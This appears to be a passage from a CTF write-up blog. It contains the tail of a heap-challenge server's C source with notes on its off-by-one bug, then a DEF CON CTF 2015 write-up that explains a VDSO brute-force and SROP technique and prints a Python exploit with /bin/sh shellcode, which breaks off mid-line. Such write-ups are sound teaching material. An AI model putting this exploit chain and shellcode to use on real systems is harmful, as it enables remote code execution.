class="line"> <span class="keyword">if</span> (new_size < n) {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"pity"</span>);</span><br><span class="line"> _exit(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (IS_LUMP(animations[b])) {</span><br><span class="line"> new_size += GET_SIZE(animations[b]);</span><br><span class="line"> <span class="keyword">if</span> (new_size < GET_SIZE(animations[b])) {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"pity"</span>);</span><br><span class="line"> _exit(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">uint64_t</span> i;</span><br><span class="line"> <span class="keyword">for</span> (i=<span class="number">0</span>; i<animations[b]->size_scenes/<span class="keyword">sizeof</span>(Html); i++) {</span><br><span class="line"> <span class="keyword">uint64_t</span> n = <span class="built_in">strlen</span>(animations[b]->scenes[i]);</span><br><span class="line"> new_size += n;</span><br><span class="line"> <span class="keyword">if</span> (new_size < n) {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"pity"</span>);</span><br><span class="line"> _exit(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> new_size += <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">if</span> (new_size < <span class="number">1</span>) {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"pity"</span>);</span><br><span class="line"> _exit(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">Animation</span> *<span class="title">new_ref</span>;</span></span><br><span class="line"> <span class="keyword">if</span> (GET_SIZE(animations[a]) >= new_size) {</span><br><span class="line"> new_ref = animations[a];</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (GET_SIZE(animations[b]) >= new_size) {</span><br><span class="line"> new_ref = animations[b];</span><br><span class="line"> <span class="keyword">uint64_t</span> tmp = a;</span><br><span class="line"> a = b;</span><br><span class="line"> b = tmp;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">uint64_t</span> num = new_size/<span class="keyword">sizeof</span>(Html) + (new_size%<span class="keyword">sizeof</span>(Html) != <span class="number">0</span>);</span><br><span class="line"> new_ref = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="keyword">sizeof</span>(struct Animation) + <span class="keyword">sizeof</span>(Html)*num);</span><br><span class="line"> new_ref->size_scenes = <span class="keyword">sizeof</span>(Html)*num;</span><br><span class="line"> animations[num_animations] = new_ref;</span><br><span class="line"> ++num_animations;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> read_fd(new_ref->description, <span class="number">0xf0</span>, <span class="string">'\n'</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">char</span> *p = (<span class="keyword">char</span>*)new_ref->scenes;</span><br><span class="line"> <span class="keyword">if</span> (IS_LUMP(animations[a])) {</span><br><span class="line"> memmove(p, animations[a]->scenes, GET_SIZE(animations[a]));</span><br><span class="line"> p += GET_SIZE(animations[a]);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">uint64_t</span> i;</span><br><span class="line"> <span class="keyword">for</span> (i=<span class="number">0</span>; i<animations[a]->size_scenes/<span class="keyword">sizeof</span>(Html); i++) {</span><br><span class="line"> <span class="keyword">uint64_t</span> n = <span class="built_in">strlen</span>(animations[a]->scenes[i]);</span><br><span class="line"> memmove(p, animations[a]->scenes[i], n);</span><br><span class="line"> p += n;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (IS_LUMP(animations[b])) {</span><br><span class="line"> memmove(p, animations[b]->scenes, GET_SIZE(animations[b]));</span><br><span class="line"> p += GET_SIZE(animations[b]);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">uint64_t</span> i;</span><br><span class="line"> <span class="keyword">for</span> (i=<span class="number">0</span>; i<animations[b]->size_scenes/<span class="keyword">sizeof</span>(Html); i++) {</span><br><span class="line"> <span class="keyword">uint64_t</span> n = <span class="built_in">strlen</span>(animations[b]->scenes[i]);</span><br><span class="line"> memmove(p, animations[b]->scenes[i], n);</span><br><span class="line"> p += n;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> new_ref->size_scenes |= LUMP_BIT;</span><br><span class="line"> *p = <span class="string">'\0'</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">uint64_t</span> new_size = animations[a]->size_scenes + animations[b]->size_scenes;</span><br><span class="line"> <span class="keyword">if</span> (new_size < animations[a]->size_scenes) {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"pity"</span>);</span><br><span class="line"> _exit(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">Animation</span> *<span class="title">new_ref</span>;</span></span><br><span class="line"> <span class="keyword">if</span> (animations[a]->size_scenes >= new_size) {</span><br><span class="line"> new_ref = animations[a];</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (animations[b]->size_scenes >= new_size) {</span><br><span class="line"> new_ref = animations[b];</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> new_ref = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="keyword">sizeof</span>(struct Animation) + new_size);</span><br><span class="line"> new_ref->size_scenes = new_size;</span><br><span class="line"> animations[num_animations] = new_ref;</span><br><span class="line"> ++num_animations;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> read_fd(new_ref->description, <span class="number">0xf0</span>, <span class="string">'\n'</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">char</span> *p = (<span class="keyword">char</span>*)new_ref->scenes;</span><br><span class="line"> memmove(p, animations[a]->scenes, animations[a]->size_scenes);</span><br><span class="line"> p += animations[a]->size_scenes;</span><br><span class="line"> memmove(p, animations[b]->scenes, animations[b]->size_scenes);</span><br><span class="line"> new_ref->size_scenes &= ~LUMP_BIT;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> myputs(<span class="string">"LGTM"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">service</span><span class="params">(<span class="keyword">int</span> csock)</span> </span>{</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">SampleAnimation</span> <span class="title">sample</span>;</span></span><br><span class="line"></span><br><span class="line"> fd = csock;</span><br><span class="line"> dup2(fd, STDERR_FILENO);</span><br><span class="line"></span><br><span class="line"> alarm(<span class="number">600</span>);</span><br><span class="line"> print_banner();</span><br><span class="line"></span><br><span class="line"> num_animations = <span class="number">1</span>;</span><br><span class="line"> animations[<span class="number">0</span>] = (struct Animation*) &sample;</span><br><span class="line"> <span class="built_in">strcpy</span>(animations[<span class="number">0</span>]->description, <span class="string">"A sample minidemo from http://www.p01.org/"</span>);</span><br><span class="line"> animations[<span class="number">0</span>]->size_scenes = <span class="keyword">sizeof</span>(Html) * <span class="number">3</span>;</span><br><span class="line"> <span class="built_in">strcpy</span>(animations[<span class="number">0</span>]->scenes[<span class="number">0</span>], <span class="string">"<body onload=setInterval(\"for(t-=.1,x=h,c.height=300,Q=Math.cos;x--;)for(y=h;y--;c.getContext('2d').fillRect(x*4,y*4,N,N))for(N=D=4;X=D*x/h-D/2,Y=D*y/h-D/2,Z=D/2-9,D+=d=(X*X+Y*Y*Q(t/6+Q(D-X-Y))+Z*Z)/9-1+Q(X+t)*Q(Y-t),.1<d*N;)N-=.1\",t=h=75)><canvas id=c>"</span>);</span><br><span class="line"> <span class="built_in">strcpy</span>(animations[<span class="number">0</span>]->scenes[<span class="number">1</span>], <span class="string">"<body onload=E=c.getContext(\"2d\"),setInterval(F=\"t+=.2,Q=Math.cos;c.height=300;for(x=h;x--;)for(y=h;y--;E.fillRect(x*4,y*4,b-d?4:D/2,D/2))for(D=0;'.'<F[D*y/h-D/2|0?1:(d=t+D*Q(T=x/h-.5+Q(t)/8)&7)|(3.5+D*Q(T-8))<<3]&&D<8;b=d)D+=.1\",t=h=75)><canvas id=c>"</span>);</span><br><span class="line"> <span class="built_in">strcpy</span>(animations[<span class="number">0</span>]->scenes[<span class="number">2</span>], <span class="string">"<body onload=setInterval(F=\";t+=.1;Q=Math.cos;for(x=n=c.height=300;x-=4;)for(y=n;y-=4;d.fillRect(x,y,E,Z^_?4:E))for(D=0;(E=4-D/2)&&F<F[(t+D*Q(T=x/n-.5+Q(t/9))&7)*8|(Z=3.7+D*Q(T-8)&7)*4|(6.5-D*y/n-E)];_=Z)D+=1/8\",t=55),d=c.getContext('2d')><canvas id=c>"</span>);</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">while</span> (<span class="number">1</span>) {</span><br><span class="line"> print_menu();</span><br><span class="line"></span><br><span class="line"> dprintf(fd, <span class="string">"> "</span>);</span><br><span class="line"> cmd = get_integer();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (cmd == <span class="number">1</span>) {</span><br><span class="line"> create_animation();</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (cmd == <span class="number">2</span>) {</span><br><span class="line"> edit_description();</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (cmd == <span class="number">3</span>) {</span><br><span class="line"> edit_scenes();</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (cmd == <span class="number">4</span>) {</span><br><span class="line"> show_animations();</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (cmd == <span class="number">5</span>) {</span><br><span class="line"> copy_animation();</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (cmd == <span class="number">6</span>) {</span><br><span class="line"> combine_animations();</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (cmd == <span class="number">7</span>) {</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Undefined command: %"</span> PRIu64 <span class="string">"\n"</span>, cmd);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> (num_animations > <span class="number">1</span>) {</span><br><span class="line"> <span class="built_in">free</span>(animations[num_animations<span class="number">-1</span>]);</span><br><span class="line"> --num_animations;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">uint64_t</span> cookie = <span class="number">0</span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">overwrite_cookie</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> fd;</span><br><span class="line"> <span class="keyword">int</span> ret;</span><br><span class="line"></span><br><span class="line"> fd = open(<span class="string">"/dev/urandom"</span>, O_RDONLY);</span><br><span class="line"> <span class="keyword">if</span> (fd < <span class="number">0</span>) _exit(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"> ret = read(fd, &cookie, <span class="keyword">sizeof</span>(cookie) - <span class="number">1</span>);</span><br><span class="line"> <span class="keyword">if</span> (ret != <span class="keyword">sizeof</span>(cookie) - <span class="number">1</span>) _exit(<span class="number">0</span>);</span><br><span class="line"> close(fd);</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">".intel_syntax noprefix\n"</span></span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"mov rax, cookie\n"</span></span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"mov fs:0x28, rax\n"</span></span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">"mov [rbp-0x8], rax\n"</span></span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="string">".att_syntax noprefix\n"</span></span></span></span><br><span class="line"><span class="function"><span class="params"> )</span></span>;</span><br><span class="line"></span><br><span class="line"> cookie = <span class="number">0</span>; <span class="comment">// erase from static mem</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span> <span class="title">addr</span>;</span></span><br><span class="line"> <span class="keyword">socklen_t</span> addrlen;</span><br><span class="line"> <span class="keyword">int</span> server_sock;</span><br><span class="line"> <span class="keyword">int</span> client_sock;</span><br><span class="line"> <span class="keyword">int</span> opt = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"> signal(SIGCHLD, SIG_IGN);</span><br><span class="line"></span><br><span class="line"> server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (server_sock == <span class="number">-1</span>) {</span><br><span class="line"> _exit(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, &opt, <span class="keyword">sizeof</span>(opt));</span><br><span class="line"></span><br><span class="line"> <span class="built_in">memset</span>(&addr, <span class="number">0</span>, <span class="keyword">sizeof</span>(addr));</span><br><span class="line"> addr.sin_family = AF_INET;</span><br><span class="line"> addr.sin_addr.s_addr = htonl(INADDR_ANY);</span><br><span class="line"> addr.sin_port = htons(<span class="number">11451</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (bind(server_sock, (struct sockaddr *)&addr, <span class="keyword">sizeof</span>(addr)) != <span class="number">0</span>) {</span><br><span class="line"> _exit(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> listen(server_sock, <span class="number">5</span>);</span><br><span class="line"> <span class="keyword">while</span> (<span class="number">1</span>) {</span><br><span class="line"> addrlen = <span class="keyword">sizeof</span>(addr);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">memset</span>(&addr, <span class="number">0</span>, addrlen);</span><br><span class="line"> client_sock = accept(server_sock, (struct sockaddr *)&addr, &addrlen);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (fork() == <span class="number">0</span>) {</span><br><span class="line"> close(server_sock);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (setsid() != <span class="number">-1</span>) {</span><br><span class="line"> overwrite_cookie();</span><br><span class="line"> service(client_sock);</span><br><span class="line"> fclose(<span class="built_in">stderr</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> shutdown(client_sock, SHUT_RDWR);</span><br><span class="line"> close(client_sock);</span><br><span class="line"> _exit(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> close(client_sock);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<p>This problems requires a bit harder reversing compared to my other problems(but this is average, isn’t it??).<br>The vulnerability is an off-by-one at line 226.<br>Because <code>free</code> won’t be called until the program ends, you can’t solve this problem the same way as PlaidDB(but I’m not sure. Wait for 217).<br>Instead, you can cause an off-by-one with an arbitrary value, not null.<br>So if you set NON_MAIN_ARENA bit, you can use some technique similar to House of Mind.<br>Then all that is left is overwrite something like stderr in malloc_consolidate called by _int_free. This is similar to unsorted bin attack.</p>
<p>That’s all!<br>Again, congratulations Cykor and 217 for their solving all of pwn problems!<br>I’m feeling they are crazy because even I’m having a hard time to solve my problems for writing write-ups of those… :P</p>
<p>written by hugeh0ge(<a href="https://twitter.com/hugeh0ge" target="_blank" rel="external">@hugeh0ge</a>)</p>
</div>
<footer>
<div class="clearfix"></div>
</footer>
</div>
</article>
<article class="post">
<div class="post-content">
<header>
<div class="icon"></div>
<time datetime="2015-05-19T13:14:08.000Z"><a href="/2015/05/19/defconctf2015-fuckup-writeup/">2015-05-19</a></time>
<h1 class="title"><a href="/2015/05/19/defconctf2015-fuckup-writeup/">DEF CON CTF 2015 - fuckup (pwn3) Writeup</a></h1>
</header>
<div class="entry">
<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>fuckup_56f604b0ea918206dcb332339a819344.quals.shallweplayaga.me:2000<br>OR<br>fuckup_56f604b0ea918206dcb332339a819344.quals.shallweplayaga.me:46387<br><a href="http://downloads.notmalware.ru/fuckup_56f604b0ea918206dcb332339a819344" target="_blank" rel="external">Download</a></p>
</blockquote>
<h2 id="Introduction"><a href="#Introduction" class="headerlink" title="Introduction"></a>Introduction</h2><p>This is a PoC service for the new and improved ASLR, “Fully Unguessable Convoluted Kinetogenic Userspace Pseudoransomization”(F.U.C.K.U.P. for short).<br>Each time a user executes a command, F.U.C.K.U.P. changes the base address of memory where the binary is mapped according to a random number produced by the generation algorithm similar to WELL512.</p>
<p>We can select from the following commands:</p>
<ol>
<li>Quit: simply <code>return 0;</code>.</li>
<li>Display info: Display an introduction. Nothing interesting.</li>
<li>Change random: Generate a random value and move mappings correspondingly.</li>
<li>View state info: Show the current random value and then change the value as same as “Change random”.</li>
<li>Test stack smash: Cause stack based buffer overflow by 100 bytes against a 10-byte buffer.</li>
</ol>
<p>Actually, I don’t know the detailed implementations of these commands except for “Test stack smash”, for it was not I but another team member who coped with this challenge at first.<br>It seems that the author’s intended solution is to use SMT solver like z3 to predict random values generated, and my teammate attempted to do that.<br>It, however, didn’t work correctly since we were unfamiliar with and poor at using SMT solver.<br>So I decided to try to solve this problem by the really “pwnwise” solution.</p>
<p>First, I suspected Partial Overwrite could be used.<br>Yes, actually it can be.<br>Reading <code>stack_smash(sub_8048521)</code>, there is called <code>read_n(sub_8048363)</code> which simply receives input as this:<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">sum = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">do</span> {</span><br><span class="line"> nread = read(<span class="number">0</span>, addr, n-sum);</span><br><span class="line"> <span class="keyword">if</span> (nread != <span class="number">-1</span>) sum += nread;</span><br><span class="line">} <span class="keyword">while</span> (sum < n);</span><br></pre></td></tr></table></figure></p>
<p>As you may see, this implementation is weird because using <code>read(0, addr, n-sum)</code> instead of <code>read(0, addr+sum, n-sum)</code>.<br>Therefore, it is possible to do Partial Overwrite by splitting input into several.<br><a href="https://twitter.com/wapiflapi/" target="_blank" rel="external">@wapiflapi</a>, a great hacker in France shares the exploit using this method(<a href="http://hastebin.com/iyinepaxen.py" target="_blank" rel="external">http://hastebin.com/iyinepaxen.py</a>).<br>Very simple, isn’t it?</p>
<p>BUT I COULD NOT COME UP WITH IT.<br>Because I misread <code>read_n</code> as <code>read(0, addr+sum, n-sum)</code>.<br>So at that time I thought “Wow, nice security. I have no choice but to overwrite a buffer completely by 100 bytes. If I can’t use Partial Overwrite, then how can I solve this…?”. Too stupid.<br>Okay, let me explain how I solved this problem even though I couldn’t use z3 and Partial Overwrite.</p>
<h2 id="Solution"><a href="#Solution" class="headerlink" title="Solution"></a>Solution</h2><p>Thinking that the return address is always overwritten by a buffer overflow, I had to overwrite it with some valid address.<br>Here, valid address means a address being mapped and executable.<br>So there are two possible ways to exploit the binary:</p>
<ol>
<li>Fix valid addresses somehow.</li>
<li>Use the addresses which are always fixed.</li>
</ol>
<p>I thought the former could be realized because the number of mapped addresses goes on increasing by <code>change_mapping(sub_80481A6)</code>.<br>In change_mapping, <code>mmap</code> is called like this:<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">do</span></span><br><span class="line">{</span><br><span class="line"> seedf = randf(state) * <span class="number">4294967295.0</span>;</span><br><span class="line"> seedl = (<span class="keyword">int</span>)seedf;</span><br><span class="line"> expect = (<span class="keyword">void</span> *)(seedl & <span class="number">0xFFFFF000</span>);</span><br><span class="line"> actual = mmap(expect, <span class="number">0x7000</span>, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, <span class="number">-1</span>, <span class="number">0</span>);</span><br><span class="line">} <span class="keyword">while</span> (expect != actual);</span><br></pre></td></tr></table></figure></p>
<p>As you can see, the mapped addresses won’t be unmapped even if it fails to establish mappings at expected addresses.<br>Therefore, the more the number of mapped addresses has increased, the less the number of the possible addresses capable of being becomes.<br>But this approach isn’t realistic because it needs to do “Change random” many times(about thouthands or hundreds of thouthands times).</p>
<p>The latter, actually, can be realized: using VDSO.<br>I think everyone knows this, but VDSO ASLR is weaker than ASLR on the other sections(that entropy is usually only 2 bytes) and there is a famous exploit method, Sigreturn Oriented Programming(SROP).<br>That means we can solve this problem by doing brute force 256 times.<br>It was a little bit difficult for me to write the exploit due to the limitation that I had to do ROP only with gadgets on VDSO and that I was allowed to use only 78 bytes for ROP.<br>Why <code>stack_addr = vdso - 0x800</code> does work correctly is described in <a href="http://www.npca.jp/works/magazine/2015_1/" target="_blank" rel="external">my paper</a>.<br>sysenter is a good gadget for stack pivotting!</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> subprocess</span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack, unpack</span><br><span class="line"><span class="keyword">from</span> Frame <span class="keyword">import</span> SigreturnFrame</span><br><span class="line"><span class="keyword">from</span> time <span class="keyword">import</span> sleep</span><br><span class="line"><span class="keyword">from</span> sys <span class="keyword">import</span> argv</span><br><span class="line"></span><br><span class="line">TARGET = (<span class="string">'localhost'</span>, <span class="number">6666</span>)</span><br><span class="line"><span class="keyword">if</span> len(argv) > <span class="number">1</span>:</span><br><span class="line"> TARGET = (<span class="string">'fuckup_56f604b0ea918206dcb332339a819344.quals.shallweplayaga.me'</span>, <span class="number">2000</span>)</span><br><span class="line"></span><br><span class="line">OFFSET_SR = <span class="number">0x401</span></span><br><span class="line">OFFSET_SC = <span class="number">0x42e</span></span><br><span class="line">OFFSET_SY = <span class="number">0x425</span></span><br><span class="line">OFFSET_POP = <span class="number">0x431</span></span><br><span class="line">SHELLCODE = <span class="string">"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x54\x59\x50\x5a\x6a\x0b\x58\xcd\x80"</span></span><br><span class="line"></span><br><span class="line">RANGE_VDSO = range(<span class="number">0xf7700000</span>, <span class="number">0xf7800000</span>, <span class="number">0x1000</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">recv_until</span><span class="params">(sock, pat)</span>:</span></span><br><span class="line"> buf = <span class="string">b''</span></span><br><span class="line"> <span class="keyword">while</span> buf.find(pat) == <span class="number">-1</span>:</span><br><span class="line"> buf += sock.recv(<span class="number">1</span>)</span><br><span class="line"> <span class="keyword">return</span> buf</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></span><br><span class="line"> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line"> sock.connect(TARGET)</span><br><span class="line"></span><br><span class="line"> vdso = random.choice(RANGE_VDSO)</span><br><span class="line"> stack_addr = vdso - <span class="number">0x800</span></span><br><span class="line"> shellcode_addr = vdso - <span class="number">0x1000</span></span><br><span class="line"> <span class="keyword">print</span> <span class="string">"vdso:"</span>, hex(vdso)</span><br><span class="line"></span><br><span class="line"> data = <span class="string">b'\x00'</span> * (<span class="number">0x16</span>)</span><br><span class="line"> data += pack(<span class="string">'<I'</span>, vdso + OFFSET_POP) <span class="comment"># pop edx, ecx</span></span><br><span class="line"> data += pack(<span class="string">"<I"</span>, <span class="number">2304</span>) <span class="comment"># edx</span></span><br><span class="line"> data += pack(<span class="string">"<I"</span>, shellcode_addr) <span class="comment"># ecx</span></span><br><span class="line"></span><br><span class="line"> data += pack(<span class="string">'<I'</span>, vdso + OFFSET_SC) <span class="comment"># read(eax=3)</span></span><br><span class="line"> data += pack(<span class="string">"<I"</span>, stack_addr)</span><br><span class="line"> data += pack(<span class="string">"<I"</span>, stack_addr)</span><br><span class="line"> data += pack(<span class="string">"<I"</span>, stack_addr)</span><br><span class="line"></span><br><span class="line"> data += pack(<span class="string">'<I'</span>, vdso + OFFSET_SY) <span class="comment"># sysenter </span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">print</span> <span class="string">"data:"</span>, len(data)</span><br><span class="line"> data = data.ljust(<span class="number">100</span>, <span class="string">'A'</span>)</span><br><span class="line"> <span class="keyword">assert</span>(len(data) == <span class="number">100</span>)</span><br><span class="line"></span><br><span class="line"> recv_until(sock, <span class="string">b'0. Quit'</span>)</span><br><span class="line"> sock.sendall(<span class="string">b'4\n'</span>)</span><br><span class="line"> recv_until(sock, <span class="string">b'stop code execution'</span>)</span><br><span class="line"></span><br><span class="line"> sock.sendall(data[:<span class="number">-3</span>])</span><br><span class="line"> sock.sendall(<span class="string">""</span>)</span><br><span class="line"> sleep(<span class="number">1</span>)</span><br><span class="line"> sock.sendall(data[<span class="number">-3</span>:]) <span class="comment"># eax = 3</span></span><br><span class="line"></span><br><span class="line"> stack = <span class="string">""</span></span><br><span class="line"> stack += pack(<span class="string">"<I"</span>, <span class="number">0xdeadbeef</span>) * <span class="number">3</span></span><br><span class="line"> stack += pack(<span class="string">"<I"</span>, vdso + OFFSET_SR)</span><br><span class="line"></span><br><span class="line"> frame = SigreturnFrame(arch=<span class="string">"x86"</span>)</span><br><span class="line"> frame.set_regvalue(<span class="string">"eax"</span>, <span class="number">0x7d</span>) <span class="comment"># mprotect</span></span><br><span class="line"> frame.set_regvalue(<span class="string">"ebx"</span>, shellcode_addr) <span class="comment"># addr</span></span><br><span class="line"> frame.set_regvalue(<span class="string">"ecx"</span>, <span class="number">0x1000</span>) <span class="comment"># len</span></span><br><span class="line"> frame.set_regvalue(<span class="string">"edx"</span>, <span class="number">7</span>) <span class="comment"># prot</span></span><br><span class="line"> frame.set_regvalue(<span class="string">"eip"</span>, vdso + OFFSET_SC)</span><br><span class="line"> frame.set_regvalue(<span class="string">"esp"</span>, stack_addr+<span class="number">0x80</span>)</span><br><span class="line"> frame.set_regvalue(<span class="string">"ds"</span>, <span class="number">0x2b</span>)</span><br><span class="line"> frame.set_regvalue(<span class="string">"es"</span>, <span class="number">0x2b</span>)</span><br><span class="line"></span><br><span class="line"> stack += frame.get_frame()</span><br><span class="line"> stack += pack(<span class="string">"<I"</span>, shellcode_addr) * <span 